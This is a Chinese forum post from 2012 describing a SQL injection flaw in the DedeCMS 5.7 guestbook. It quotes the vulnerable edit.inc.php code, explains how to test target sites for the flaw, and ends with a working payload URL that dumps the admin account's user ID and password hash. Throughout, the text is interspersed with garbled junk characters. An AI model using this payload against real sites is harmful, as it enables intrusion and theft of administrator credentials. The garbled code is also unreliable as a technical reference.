找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3707|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7$ ^3 Y, a( U7 I. x# s
1 e# P; N- t, G1 d3 P8 y  ^/ P
漏洞文件edit.inc.php具体代码:: d! s# P$ E/ @2 J9 `9 @9 p6 f
: }! f8 [: {! c0 F1 \8 Z
< ?php  & V: E! z3 p/ z+ g
6 d3 ~" u9 ~3 |" T$ C. l3 `
if(!defined('DEDEINC')) exit('Request Error!');  ( I# K' |2 G2 I$ B
3 j9 Q8 F7 u' c# H: \/ m
   2 e& D& B; _: [

0 c. K' ?, r+ D: Eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
) b" ~' T; f# J! V4 m
% r& O: [' F# i; m2 \else $GUEST_BOOK_POS = "guestbook.php";  
; w# ]  _6 I3 W1 @7 h$ r, @. L6 |) b1 K- b1 W+ n1 L
   / t: R, A- Y. s. X7 Q4 H" \7 E
% Q8 D6 W% M4 N8 d
$id = intval($id);  5 N4 x: |0 e5 i( n3 C6 Q# O7 T) G

' Z2 B" Q* [1 Aif(empty($job)) $job='view';  . S- B; e8 |0 }0 C. a
$ o5 `/ j0 [+ ]& {, P
   
/ W9 H9 S: K, x# n8 b2 P4 s5 \3 D5 U9 v6 b; a
if($job=='del' && $g_isadmin)  
/ a6 I' h# B7 y, H
: @8 |+ v7 u* \, E0 h{  
' j6 B9 r1 C6 ^
( b- t( P0 j# |, h# {# {' W: C: O$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ' Y% b  D4 Y4 J
& H2 V: E5 v0 B
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
  J5 w) C. r1 A/ f; K: K  k3 G  {& p9 `& q
exit();  3 H( m# @' d) s1 s" Q

6 x6 _$ N* T/ z! L' i}  
" }5 ]' s0 Y% I2 \7 X1 k7 @( l& \2 x# a7 P& h
else if($job=='check' && $g_isadmin)  $ D/ D' X$ A$ @7 g4 A
3 t( c" z1 N, J& b9 F- J+ ^
{  $ s( d' ]0 d& N
+ P2 Z1 T1 N8 p6 r  w1 B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  - F8 P$ k4 O! ?3 U/ @5 l5 s
  |3 u( ?% ]8 ^/ S
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  6 u, q% ^4 H0 g6 P/ {3 I; l

+ Q" j- z) t* H  W8 h$ ?exit();  
3 S# D3 r5 q( Q0 ]' @; U
9 E7 y. \3 q, z( K. @}  
! |7 y" K' e  \( a" |1 S' z* o2 u3 c6 O8 {) ]
else if($job=='editok')  
0 s+ T, C6 A9 M: m: p3 F, s% j* N
{  
( Q1 q0 u' R0 H  i8 R# F6 p, E
* A* W' `) x3 I5 R4 j' N; g# ~$remsg = trim($remsg);  0 r5 h2 Z; M# g3 Y2 a' Z4 Y5 x

5 r9 e* z' ?& m8 S* G8 B% bif($remsg!='')  
5 g& x) I. O- \* A, M
# p5 P/ p9 d# F4 x# S) Y, C' X{  
0 H, Q, |) V4 C8 M4 M; P" b/ ~% L3 g7 w5 |; N  u
//管理员回复不过滤HTML By:Errorera blog:errs.cc  . w* H" [, z. y& i9 {
5 `2 E, H/ F+ S% X9 S" D
if($g_isadmin)  
; v5 P# \; ?. p
) p* b# x) p% D2 N# R" N; C9 i{  
. R$ m" B# j8 t$ L. r6 P' r/ H  V) {
$ w1 f% q4 s9 \3 R& f0 K" S$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  ) @8 \# j3 R' ]: @9 V

) h8 E- b& O  V# X//$remsg <br /><font color=red>管理员回复:</font> }  , q+ N% X6 u& p6 N

! ]. p) Y. S+ S8 M! r  k0 _# ]. felse & g, h# K$ a7 j5 s
7 K8 X5 K3 a. b6 l" y% d2 o- J
{  
! n/ T$ k9 P; [( w  N, |' N8 l! {  v& Z7 s) Y% W0 l
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  & }2 g( ?! L" H  a1 Z# W0 e$ ?1 t4 M
2 q0 ^: h$ _* w% ?5 z: [
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  : m4 h2 k% {3 Q

- N/ C; c7 P( e. b- h$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
: I3 s8 `. m6 O) J, `  W, t' N6 p5 N
) p& I9 |6 S$ `9 b9 ~$msg = $oldmsg.$remsg;  0 A- s9 _5 F/ {* X

! O, X8 L8 w' H. e$ P}  
, j2 j1 u* b( c1 `* g, M: c8 {- ~1 ?: @6 W4 K
}  # E5 U6 e, _9 M6 _2 s  M+ Z
/ C1 g$ W2 q$ k" \& `) ^  j
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
, ]: P: U/ r( W/ a
; H5 q0 k9 ]" ~' d0 k$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");    j2 w& |; I+ q+ L( {5 L: N
# i) e4 R* h: o# q) m( d2 F  m
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  5 U4 G$ f$ @9 g; m

. g' |! o3 L) k# b! u6 W, Sexit();  # o* c5 E5 b  u/ E! {3 ]

+ E" r, |) d7 i}  & k4 |; b. m5 z6 z9 t0 [9 g
& L# Y$ S) P& n  W1 j. w
//home:www.errs.cc  
9 K" h5 U( U) ~6 E" B9 v4 E9 Q4 G1 e/ e1 |  ]5 j; j& o
if($g_isadmin)  
5 `8 y2 Y: w" n. M
. \) D# ?2 |: r+ H. h) V( g# z{  ' [. s5 F$ c" f: R# \$ f

5 _, M) y$ L* ~( {- l, h+ R9 c! n$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
% v% u. z$ F3 W+ a+ D/ n9 W8 }& r" ]$ k
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
% L9 |8 ^# o9 \! r8 Z) T2 D$ a# v$ m! i4 X) V: `- A/ E* k
}  ; g  t3 R$ V+ L/ ]% y1 R( l" V0 H
* u0 ~3 A, E4 T% l3 R  l
else
& a- Y, p& e1 V4 R: K$ J  T
7 @, v3 w; L9 k! b{  + l! s' r1 x& R* q

1 R) g  z* m: K& N5 r: [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  # y0 o% f+ B' J# L3 I

) a& g6 q, N( N  k9 _require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  # \1 t; X- Y7 Z  Q! }
1 N/ m4 `* @$ r- }1 n6 @$ z) s
} 漏洞成功需要条件:" A  j3 P6 Y( t1 _0 f% g
1. php magic_quotes_gpc=off
3 ~: R2 x. i6 s6 S! X1 O9 J' [! N/ [" M2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 Z! D7 P/ z) x; h* ~& X
$ d( c& W+ f, s5 P9 b; k怎么判断是否存在漏洞:
4 m# L' \9 s0 Z. ~3 O! S5 W先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
) I; k! y1 u- \' G然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID9 [3 j$ y( m, A
访问:8 V0 E  }1 j* l
% y) R9 V* Q6 Z
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了7 k4 Z9 S/ |# `: I% @
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证7 l+ g* F0 T! J0 g+ \
8 E: y" K- u. f8 A( ?. i

5 }, o' z: k- t% b: [& t, C/ b明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, [* p* O  L. m2 C/ Q6 {# n# V% y8 N4 ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。  _  V, n( \. n/ }; n
那么再次访问
( @5 B* w: L$ X! S1 j+ d0 p. B9 b( u0 L% O
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 R  d' Y+ J' Z7 i
& h1 A* t3 l. ^. d  S8 \! Z大概利用就是这样,大家有兴趣的多研究下!!& V% B7 z$ ?/ z& @% C" _" f& M
1 w. m5 q2 i6 o$ q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!7 r! b7 D' V' b* P; {/ ]1 G
- k3 K. T8 B8 Q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表